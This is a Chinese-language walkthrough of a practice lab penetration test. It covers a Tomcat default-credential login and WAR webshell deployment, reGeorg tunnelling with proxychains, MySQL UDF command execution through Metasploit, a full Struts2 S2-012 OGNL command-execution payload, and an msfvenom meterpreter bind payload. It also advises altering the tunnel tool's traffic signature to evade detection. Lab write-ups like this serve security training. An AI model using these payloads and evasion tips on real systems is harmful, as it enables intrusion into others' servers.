靶場攻略 | 記一次實驗靶場練習筆記
前兩天朋友分享了一個實驗靶場,感覺環境還不錯,于是對測試過程進行了詳細記錄,靶場中涉及知識點總結如下:
- War包制作
- regeorg內網代理工具的使用
- UDF漏洞利用
- Struts2-012漏洞利用
- Msfvenom模塊的使用
本次實驗靶場的網絡拓撲結構如下圖所示:

獲取web據點
首先訪問朋友給定的web服務器端口,為tomcat應用的默認頁面,如下圖所示:

如果剛開始沒有思路的話,可以百度搜索一下Tomcat示例頁面相關漏洞情況。訪問目標manager后臺目錄,嘗試tomcat默認口令tomcat/tomcat進行登錄:

登錄成功之后,tomcat管理后臺有個部署war包的功能,可以通過上傳war包getshell,獲取服務器權限。

在攻擊機kali中生成war包后門,可以用自己的木馬,也可使用kali自帶webshell,默認路徑:/usr/share/laudanum/
jar cvf shell.war xx.jsp

在WAR file to deploy 功能處上傳并部署后門war包,單擊選擇文件,選擇生成的war文件并確定,點擊擊deploy按鈕就完成了上傳。
驗證是否上傳成功,瀏覽器訪問注意事項:根目錄+war包文件名+jsp webshell文件名
比如我上傳了的war包名為cmd.war,木馬名為:cmd.jsp
在瀏覽器地址欄中:hxxp://x.x.x.x/cmd/cmd.jsp

接下是連接上傳的jsp一句話,使用C刀連接目標服務器的jsp木馬
下載地址:https://github.com/Chora10/Cknife 可自行編譯或者下載網上的程序虛擬機里執行。

菜刀成功連接后,會以樹狀形式顯示webshell文件所處位置,如下圖所示


02
添加代理
拿下web邊界機以后,一般情況下,分兩種情況:
- 有內網:以此為跳板,攻擊內網其他機器,摸清目標內網拓撲環境,拿下靶標系統;
- 無內網:如果是項目,就可以收工了,不是的話,就可以作為代理池的一部分;
下面的情況屬于有內網的環境,查看本機IP地址,發現兩個網卡都有內網地址。

目標web服務器并無探測主機存活的工具,兩種方式:
- 自己上傳端口掃描工具||腳本
- 使用隧道代理工具,代理自己的工具進入目標內網中,做初步的信息搜集。
此處選擇第二種方式,上傳regeorg程序的tunnel.jsp腳本到目標服務器的shell目錄下

web訪問返回連接成功的信息(Georg says,’All seems fine’) 如下圖所示,此為該工具流量硬特征,建議在下載后修改該字符串,或者使用升級版的neo-regeorg
https://github.com/L-codes/Neo-reGeorg 去特征且傳輸加密

使用regeorg工具建立隧道,命令如下:
Python regeorgsocksproxy.py -u hxxp://x.x.x.x/tunnel.jsp -p xxxx
-u 代理木馬鏈接;
-p指定傳輸端口;

在proxychains工具配置文件下添加regeorg打通的代理端口
vim /etc/proxychains.conf 在最后一行添加regeorg的配置好的傳輸端口即可

代理nmap到內網掃描172網段敏感端口,使用TCP全連接掃描
一些Nmap使用語法:http://mang0.me/archis/40a439a4/

03
UDF漏洞利用
通過掃描得到的MySQL應用信息,嘗試弱口令連接,一樣的思路哪個應用不會搜索哪里

查看security_file_priv是否配置命令:
show variables like '%secure%';
顯示結果對應解釋
Secure_file_priv=null //不允許導入導出文件Secure_file_priv='D:/' //允許導入到指定目錄Secure_file_priv=‘’ //允許到任意目錄Secure_file_priv=”/” //允許到根目錄

發現為空可以寫任意目錄,使用proxychains將msf代理到目標內網中,利用MySQL的UDF漏洞進行命令執行。

如果忘記模塊,可以先search 需要的模塊內容關鍵字
Use exploit/multi/mysql/mysql_udf_payload
查看未設置的參數 show options
Password和rhost參數可以設置

Set rhost 172.16.15.16Set password 123456 run

雖然顯示沒有會話,但是so文件已經傳上去了,使用默認的MySQL命令連接,執行自定義函數,成功執行,說明udf提權成功。

04
S2-012漏洞利用
代理nmap到內網掃描10網段機器敏感端口

發現10.10.60.250:8080存在struts2-012漏洞

Struts2-012 payload
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-al"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
成功讀取/etc/passwd文件

10.10.60.66和172.16.15.16一樣的思路。

弱口令:admin/password


上傳菜刀的jsp木馬

使用蟻劍服務器管理工具連接成功

Msf生成Linux木馬
msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.10.60.66 lport=1234 -f elf > shell.elf

生成完成后將該木馬程序上傳到目標服務器的web目錄下,賦予權限,在msf中開啟監聽模塊,執行程序,即可拿到會話
設置msf下handler模塊必要的參數
set payload linux/x86/meterpreter/bing_tcpSet rhost 10.10.60.66Set lport 1234

exploit -j 后臺獲取會話Sessions 可查看會話 -i 進入該會話

本次實驗到此結束,通過弱口令并結合應用特性拿到主機權限,使用內網代理工具建立隧道,探測內網段端口及對應漏洞,拿下對應主機權限。
最后如果覺得對自己有幫忙的,可以點個在看,關注一手,謝謝師傅們閱讀。